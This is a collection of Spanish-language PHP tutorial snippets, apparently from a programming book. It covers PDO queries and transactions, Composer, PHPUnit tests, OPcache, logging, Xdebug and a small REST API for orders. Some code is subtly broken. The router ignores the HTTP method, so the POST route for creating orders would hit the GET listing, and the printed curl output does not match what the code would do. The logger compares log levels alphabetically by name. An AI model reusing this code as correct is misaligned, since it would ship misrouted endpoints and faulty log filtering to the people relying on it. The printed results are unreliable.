declare(strict_types=1);

// MySQL local (XAMPP / instalacion tipica):
$mysql = new PDO(
    'mysql:host=localhost;dbname=tienda;charset=utf8mb4',
    'root',
    '',
    [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,   // errores = excepciones
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,        // arrays asociativos
        PDO::ATTR_EMULATE_PREPARES   => false,                   // preparado REAL del motor
    ]
);

// SQL Server (cap. 4: ODBC Driver 18 cifra por defecto):
$sqlsrv = new PDO(
    'sqlsrv:Server=localhost,1433;Database=tienda;TrustServerCertificate=1',
    'usuario_app',                            // NUNCA sa en produccion
    'claveSegura!',
    [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
);

<?php
declare(strict_types=1);
/** @var PDO $pdo */

// Nombradas: autodocumentadas, orden libre:
$stmt = $pdo->prepare(
    'INSERT INTO productos (nombre, precio, stock) VALUES (:nombre, :precio, :stock)'
);
$stmt->execute(['nombre' => 'Cafe especial', 'precio' => 24.90, 'stock' => 50]);
$idNuevo = (int) $pdo->lastInsertId();

// Posicionales: breves para una o dos condiciones:
$stmt = $pdo->prepare('SELECT * FROM productos WHERE precio <= ? AND stock > ?');
$stmt->execute([30.0, 0]);

foreach ($stmt->fetchAll() as $fila) {
    echo "{$fila['nombre']} — S/ {$fila['precio']}\n";
}

<?php
declare(strict_types=1);
/** @var PDO $pdo */

function porSkus(PDO $pdo, array $skus): array
{
    // Un "?" por elemento: "?,?,?" — los datos SIEMPRE viajan como parametros:
    $marcadores = implode(',', array_fill(0, count($skus), '?'));
    $stmt = $pdo->prepare("SELECT sku, nombre FROM productos WHERE sku IN ($marcadores)");
    $stmt->execute($skus);
    return $stmt->fetchAll();
}

print_r(array_column(porSkus($GLOBALS['pdo'], ['CAF-1KG', 'LEQ-1L']), 'nombre'));

<?php
declare(strict_types=1);
/** @var PDO $pdo */

function transferirStock(PDO $pdo, int $origenId, int $destinoId, int $cantidad): void
{
    $pdo->beginTransaction();               // abre la unidad atomica
    try {
        $pdo->prepare('UPDATE productos SET stock = stock - ? WHERE id = ?')
            ->execute([$cantidad, $origenId]);

        $pdo->prepare('UPDATE productos SET stock = stock + ? WHERE id = ?')
            ->execute([$cantidad, $destinoId]);

        $pdo->commit();                     // AMBAS escrituras quedan
    } catch (Throwable $e) {
        $pdo->rollBack();                   // NINGUNA queda: estado intacto
        throw $e;
    }
}

<?php
declare(strict_types=1);
/** @var PDO $pdo */

// Paginacion portable con ORDER BY obligatorio en ambos:
function pagina(PDO $pdo, string $motor, int $n, int $tamano): array
{
    $offset = ($n - 1) * $tamano;
    if ($motor === 'mysql') {
        $sql = 'SELECT * FROM productos ORDER BY id LIMIT ? OFFSET ?';
    } else {
        $sql = 'SELECT * FROM productos ORDER BY id OFFSET ? ROWS FETCH NEXT ? ROWS ONLY';
    }
    $stmt = $pdo->prepare($sql);
    $stmt->bindValue(1, $offset, PDO::PARAM_INT);
    $stmt->bindValue(2, $tamano, PDO::PARAM_INT);
    $stmt->execute();
    return $stmt->fetchAll();
}

composer init --name mi-tienda/core --no-interaction
composer require vlucas/phpdotenv:^5.6
composer require --dev phpunit/phpunit:^11
composer dump-autoload          # regenera el autoloader tras crear clases nuevas

{
    "name": "mi-tienda/core",
    "require": {
        "php": ">=8.5",
        "vlucas/phpdotenv": "^5.6"
    },
    "require-dev": {
        "phpunit/phpunit": "^11"
    },
    "autoload": {
        "psr-4": {
            "Tienda\\": "src/"
        }
    },
    "scripts": {
        "test": "phpunit tests"
    }
}

<?php
// src/Pagos/TarjetaProcesador.php   (namespace Tienda\Pagos)
declare(strict_types=1);

namespace Tienda\Pagos;

class TarjetaProcesador
{
    public function cobrar(float $monto): bool
    {
        return $monto > 0;
    }
}

// public/index.php — UNA linea reemplaza a todo spl_autoload_register:
require __DIR__ . '/../vendor/autoload.php';

use Tienda\Pagos\TarjetaProcesador;

var_dump((new TarjetaProcesador())->cobrar(59.90));

composer require --dev phpunit/phpunit:^11
mkdir tests
./vendor/bin/phpunit --version

<?php
// tests/CalculadoraComisionTest.php
declare(strict_types=1);

use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;

final class CalculadoraComisionTest extends TestCase
{
    #[Test]
    public function comisionDeYapeEsCeroPuntoOchoCincoPorciento(): void
    {
        $calculadora = new CalculadoraComision();

        $resultado = $calculadora->para('yape', 100.0);

        $this->assertSame(0.85, $resultado);
    }
}

// src/CalculadoraComision.php — la clase bajo prueba:
final class CalculadoraComision
{
    public function para(string $medioPago, float $monto): float
    {
        return match ($medioPago) {
            'efectivo' => 0.0,
            'tarjeta'  => round($monto * 0.035, 2),
            'yape'     => round($monto * 0.0085, 2),
            default    => throw new InvalidArgumentException('Medio invalido'),
        };
    }
}

<?php
declare(strict_types=1);

use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;

final class MedioInvalidoTest extends TestCase
{
    #[Test]
    public function rechazaMediosDesconocidos(): void
    {
        $calc = new CalculadoraComision();          // ARRANGE: preparar

        $this->expectException(InvalidArgumentException::class);   // ACT + ASSERT
        $this->expectExceptionMessage('Medio invalido');

        $calc->para('plin', 10.0);                  // debe lanzar
    }
}

<?php
declare(strict_types=1);

use PHPUnit\Framework\Attributes\DataProvider;
use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;

final class ComisionMatrizTest extends TestCase
{
    public static function casos(): array
    {
        return [
            'efectivo sin costo'   => ['efectivo', 200.0, 0.0],
            'tarjeta 3.5%'         => ['tarjeta',  200.0, 7.0],
            'yape 0.85%'           => ['yape',     200.0, 1.7],
            'monto con centimos'   => ['yape',      59.90, 0.51],
        ];
    }

    #[Test]
    #[DataProvider('casos')]
    public function calculaCorrectamente(string $medio, float $monto, float $esperado): void
    {
        $this->assertSame($esperado, (new CalculadoraComision())->para($medio, $monto));
    }
}

<?php
declare(strict_types=1);

use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;

interface RepositorioProductos
{
    public function existeSku(string $sku): bool;
}

class Registrador
{
    public function __construct(private RepositorioProductos $repo)
    {
    }

    public function registrar(string $sku): string
    {
        if ($this->repo->existeSku($sku)) {
            return 'duplicado';
        }
        return 'registrado';
    }
}

final class RegistradorTest extends TestCase
{
    #[Test]
    public function detectaSkusRepetidos(): void
    {
        $repo = $this->createStub(RepositorioProductos::class);
        $repo->method('existeSku')->willReturn(true);       // guion fijo

        $resultado = (new Registrador($repo))->registrar('CAF-1KG');
        $this->assertSame('duplicado', $resultado);
    }

    #[Test]
    public function registraSkusNuevos(): void
    {
        $repo = $this->createStub(RepositorioProductos::class);
        $repo->method('existeSku')->willReturn(false);

        $this->assertSame('registrado', (new Registrador($repo))->registrar('X'));
    }
}

composer test                    # via scripts del composer.json
./vendor/bin/phpunit tests       # directo
./vendor/bin/phpunit --filter detectaSkus tests/RegistradorTest.php

// Lo que ocurre SIN cache, en CADA request:

//  1. Lexing       : app.php (texto) -> tokens
//  2. Parsing      : tokens -> AST (arbol sintactico)
//  3. Compilacion  : AST -> opcodes (instrucciones de la VM Zend)
//  4. Ejecucion    : VM corre los opcodes
//
// Con OPcache activo:
//  pasos 1-3 se ejecutan UNA VEZ; las siguientes peticiones van directo al paso 4.

; php.ini — bloque OPcache recomendado para FPM en produccion
opcache.enable = 1
opcache.memory_consumption = 256          ; MB para opcodes
opcache.interned_strings_buffer = 32      ; strings compartidas
opcache.max_accelerated_files = 20000     ; > numero real de .php del proyecto
opcache.validate_timestamps = 0           ; NO revisa cambios en disco (produccion!)
opcache.jit_buffer_size = 128M            ; JIT (ver abajo)
opcache.jit = tracing

<?php
declare(strict_types=1);

// Benchmark honesto: CPU pura donde JIT brilla:
function mandelbrot(int $ancho, int $alto): int
{
    $pintados = 0;
    for ($y = 0; $y < $alto; $y++) {
        for ($x = 0; $x < $ancho; $x++) {
            $zr = $zi = 0.0;
            $cr = ($x / $ancho) * 3.0 - 2.0;
            $ci = ($y / $alto) * 3.0 - 1.5;
            for ($n = 0; $n < 50; $n++) {
                $tmp = $zr * $zr - $zi * $zi + $cr;
                $zi = 2.0 * $zr * $zi + $ci;
                $zr = $tmp;
                if ($zr * $zr + $zi * $zi > 4.0) {
                    break;
                }
            }
            if ($n === 50) {
                $pintados++;
            }
        }
    }
    return $pintados;
}

$inicio = hrtime(true);
echo mandelbrot(400, 300), " puntos dentro\n";
echo 'ms: ', (int) ((hrtime(true) - $inicio) / 1e6), PHP_EOL;

php -i | grep -E 'opcache.(enable|jit_buffer)'
php -r 'var_dump(function_exists("opcache_get_status"));'
# En web: var_dump(array_keys(opcache_get_status()["scripts"] ?? []));

; Cargar SIEMPRE en memoria las clases nucleares (7.4+):
opcache.preload = /var/www/tienda/preload.php
opcache.preload_user = www-data

<?php
// preload.php — se ejecuta UNA vez al iniciar FPM, no por request:
require_once __DIR__ . '/vendor/autoload.php';

foreach (glob(__DIR__ . '/src/Core/*.php') as $archivo) {
    opcache_compile_file($archivo);   // compila sin ejecutar
}

<?php
declare(strict_types=1);

enum NivelLog: string
{
    case DEBUG = 'DEBUG';
    case INFO  = 'INFO';
    case WARN  = 'WARN';
    case ERROR = 'ERROR';
}

final class LoggerArchivo implements Psr\Log\LoggerInterface   // contrato PSR-3
{
    public function __construct(private string $ruta, private NivelLog $minimo = NivelLog::INFO)
    {
    }

    public function log(mixed $nivel, string|\Stringable $mensaje, array $contexto = []): void
    {
        $actual = NivelLog::from(is_string($nivel) ? $nivel : '');
        if ($actual->name < $this->minimo->name) {
            return;
        }

        // Interpolacion PSR-3: "Pago de {monto}" + ['monto' => 59.90]
        $texto = str_replace(
            array_map(fn ($k) => "{{$k}}", array_keys($contexto)),
            array_map(strval(...), array_values($contexto)),
            (string) $mensaje
        );

        $linea = sprintf("[%s] [%s] %s%s", date('Y-m-d H:i:s'), $actual->value, $texto, PHP_EOL);
        file_put_contents($this->ruta, $linea, FILE_APPEND | LOCK_EX);   // eco del cap. 24
    }

    public function info(string|\Stringable $m, array $c = []): void { $this->log('INFO', $m, $c); }
    public function error(string|\Stringable $m, array $c = []): void { $this->log('ERROR', $m, $c); }
    public function warning(string|\Stringable $m, array $c = []): void { $this->log('WARN', $m, $c); }
    public function debug(string|\Stringable $m, array $c = []): void { $this->log('DEBUG', $m, $c); }
}

$log = new LoggerArchivo(__DIR__ . '/app.log');
$log->info('Pago recibido', ['monto' => 59.90, 'moneda' => 'PEN']);
$log->error('Pasarela rechazo la tarjeta', ['codigo' => '05']);

<?php
declare(strict_types=1);

use Monolog\Handler\StreamHandler;
use Monolog\Level;
use Monolog\Logger;

$log = new Logger('pagos');
$log->pushHandler(new StreamHandler(__DIR__ . '/app.log', Level::Info));
$log->pushHandler(new StreamHandler('php://stderr', Level::Error));   // errores TAMBIEN a stderr

$log->info('Pedido creado', ['id' => 1001]);
$log->error('BD inaccesible', ['intentos' => 3]);

<?php
declare(strict_types=1);

$pedido = ['id' => 1001, 'total' => 74.70];

// Trio de inspeccion rapida (SOLO desarrollo):
var_dump($pedido);                 // tipos + valores
print_r($pedido);                  // legible, pierde tipos
debug_zval_dump($GLOBALS['pedido'] ?? null);

// Quien me llamo y desde donde:
$marco = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3)[0] ?? [];
echo 'llamado desde ', $marco['file'] ?? '?', ':', $marco['line'] ?? '?', PHP_EOL;

// Punto de detencion manual con xdebug activo:
// xdebug_break();

; php.ini (solo desarrollo):
zend_extension=xdebug
xdebug.mode=develop,debug
xdebug.client_port=9003
xdebug.start_with_request=trigger

# Disparar el modo debug solo cuando lo pides:
# navegador: cookie XDEBUG_TRIGGER=1 + breakpoint en VS Code / PhpStorm
php -d xdebug.mode=debug script.php     # forzar en CLI

tienda-api/
├── public/index.php          # UNICO punto de entrada (front controller)
├── src/
│   ├── Nucleo/               # Router.php, Respuesta.php
│   └── Controladores/ControladorPedidos.php
├── cli/trabajador_pagos.php  # worker asincrono de pagos
└── config.php                # credenciales FUERA del repositorio

# Servir: php -S localhost:8000 -t public/ public/router.php

<?php
// src/Nucleo/Respuesta.php
declare(strict_types=1);

namespace Tienda\Nucleo;

final class Respuesta
{
    public static function json(mixed $datos, int $codigo = 200): never
    {
        http_response_code($codigo);
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode($datos, JSON_UNESCAPED_UNICODE | JSON_THROW_ON_ERROR);
        exit;
    }

    public static function error(string $mensaje, int $codigo = 400): never
    {
        self::json(['error' => $mensaje], $codigo);
    }
}

<?php
// src/Nucleo/Router.php
declare(strict_types=1);

namespace Tienda\Nucleo;

use InvalidArgumentException;

final class Router
{
    /** @var array<string, callable> */
    private array $rutas = [];

    public function agregar(string $metodo, string $patron, callable $accion): void
    {
        // "/pedidos/{id}" -> regex con grupo nombrado:
        $regex = preg_replace('#\{(\w+)\}#', '(?<$1>[^/]+)', $patron);
        $this->rutas["{$metodo} {$patron}"] = [
            'regex'  => "#^{$regex}$#",
            'accion' => $accion,
        ];
    }

    public function despachar(string $metodo, string $ruta): void
    {
        foreach ($this->rutas as ['regex' => $regex, 'accion' => $accion]) {
            if (preg_match($regex, $ruta, $m)) {
                $params = array_filter($m, 'is_string', ARRAY_FILTER_USE_KEY);
                $accion(...array_values($params));      // inyecta {id}, etc.
                return;
            }
        }
        Respuesta::error('Ruta no encontrada', 404);
    }
}

<?php
// src/Controladores/ControladorPedidos.php
declare(strict_types=1);

namespace Tienda\Controladores;

use Tienda\Nucleo\Respuesta;

final class ControladorPedidos
{
    public function __construct(private \PDO $pdo)
    {
    }

    public function listar(): void
    {
        $filas = $this->pdo
            ->query('SELECT id, cliente, total, estado FROM pedidos ORDER BY id DESC')
            ->fetchAll();
        Respuesta::json($filas);
    }

    public function detalle(string $id): void
    {
        $fila = $this->buscar((int) $id);
        Respuesta::json($fila);
    }

    public function crear(): void
    {
        $entrada = json_decode(file_get_contents('php://input') ?: '{}', true);

        $errores = [];
        if (!isset($entrada['cliente']) || trim($entrada['cliente']) === '') {
            $errores[] = 'cliente es obligatorio';
        }
        $total = filter_var($entrada['total'] ?? null, FILTER_VALIDATE_FLOAT);
        if ($total === false || $total <= 0) {
            $errores[] = 'total debe ser positivo';
        }
        if ($errores) {
            Respuesta::error(implode('; ', $errores), 422);   // validacion fallida
        }

        $this->pdo->beginTransaction();
        try {
            $stmt = $this->pdo->prepare(
                'INSERT INTO pedidos (cliente, total, estado) OUTPUT INSERTED.id VALUES (?, ?, ?)'
            );
            $stmt->execute([$entrada['cliente'], $total, 'PENDIENTE']);
            $nuevoId = (int) $stmt->fetchColumn();
            $this->pdo->commit();
        } catch (\Throwable $e) {
            $this->pdo->rollBack();
            throw $e;
        }

        Respuesta::json(['id' => $nuevoId, 'estado' => 'PENDIENTE'], 201);   // Created
    }

    private function buscar(int $id): array
    {
        $stmt = $this->pdo->prepare('SELECT * FROM pedidos WHERE id = ?');
        $stmt->execute([$id]);
        $fila = $stmt->fetch();
        if ($fila === false) {
            Respuesta::error("Pedido $id no existe", 404);
        }
        return $fila;
    }
}

<?php
// public/index.php
declare(strict_types=1);

require __DIR__ . '/../vendor/autoload.php';

use Tienda\Controladores\ControladorPedidos;
use Tienda\Nucleo\Router;

// Cabeceras de seguridad (cap. 34):
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');

// Cualquier Throwable se convierte en JSON limpio (cap. 20):
set_exception_handler(function (Throwable $e): void {
    error_log('[API] ' . $e->getMessage());
    Tienda\Nucleo\Respuesta::error('Error interno', 500);   // sin detalles internos al cliente
});

$pdo = new PDO(
    'sqlsrv:Server=' . getenv('DB_HOST') . ';Database=' . getenv('DB_NAME') . ';TrustServerCertificate=1',
    getenv('DB_USER'),
    getenv('DB_PASS'),
    [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
);

$r = new Router();
$ctrl = new ControladorPedidos($pdo);

$r->agregar('GET',  '/pedidos',       fn () => $ctrl->listar());
$r->agregar('GET',  '/pedidos/{id}',  fn ($id) => $ctrl->detalle($id));
$r->agregar('POST', '/pedidos',       fn () => $ctrl->crear());

$r->despachar($_SERVER['REQUEST_METHOD'], parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH));

<?php
// En las rutas: POST /pedidos/{id}/pagar dispara el worker (cap. 31) y responde YA:
$r->agregar('POST', '/pedidos/{id}/pagar', function (string $id): void {
    shell_exec('nohup php ' . escapeshellarg(__DIR__ . '/../cli/trabajador_pagos.php')
             . ' ' . escapeshellarg($id) . ' >/dev/null 2>&1 &');
    Tienda\Nucleo\Respuesta::json(['mensaje' => 'Pago en proceso', 'pedido' => (int) $id], 202);
});

# Crear:
curl -s -X POST localhost:8000/pedidos \
     -H "Content-Type: application/json" \
     -d '{"cliente":"Cafeteria El Sol","total":74.70}'
{"id":1001,"estado":"PENDIENTE"}

# Consultar y pagar:
curl -s localhost:8000/pedidos/1001
curl -s -X POST localhost:8000/pedidos/1001/pagar
{"mensaje":"Pago en proceso","pedido":1001}

# Validacion fallida:
curl -s -X POST localhost:8000/pedidos -d '{"total":-5}' -H "Content-Type: application/json"
{"error":"cliente es obligatorio; total debe ser positivo"}   # HTTP 422

<?php
// El mismo endpoint "crear pedido" en Laravel — mira lo que DESAPARECE:

namespace App\Http\Controllers;

use App\Models\Pedido;
use Illuminate\Http\Request;

class ControladorPedidos extends Controller
{
    public function crear(Request $peticion): \Illuminate\Http\JsonResponse
    {
        // Validacion declarativa (tu filter_var del cap. 33, industrializado):
        $datos = $peticion->validate([
            'cliente' => 'required|string|max:80',
            'total'   => 'required|numeric|min:0.01',
        ]);

        $pedido = Pedido::create($datos + ['estado' => 'PENDIENTE']);

        return response()->json(['id' => $pedido->id], 201);
    }
}

[ ] Explico strict_types, union/interseccion/DNF y cuándo usar cada uno     (caps. 5, 11)
[ ] Escribo una clase readonly con hooks sin dudar                          (cap. 16)
[ ] Diferencio Error de Exception y encadeno causas                         (cap. 20)
[ ] Consumo APIs con cURL y manejo errores de red                           (cap. 27)
[ ] Mi formulario valida en servidor y usa PRG                              (cap. 33)
[ ] Nunca concateno SQL; escapar al salir es reflejo                        (cap. 34)
[ ] Sesiones con regenerate_id y cookies samesite                           (cap. 35)
[ ] Transacciones PDO para operaciones compuestas                           (cap. 36)
[ ] Composer: lock en git, vendor fuera, ^ bien usado                       (cap. 37)
[ ] Pruebo rutas felices Y de error con PHPUnit                             (cap. 38)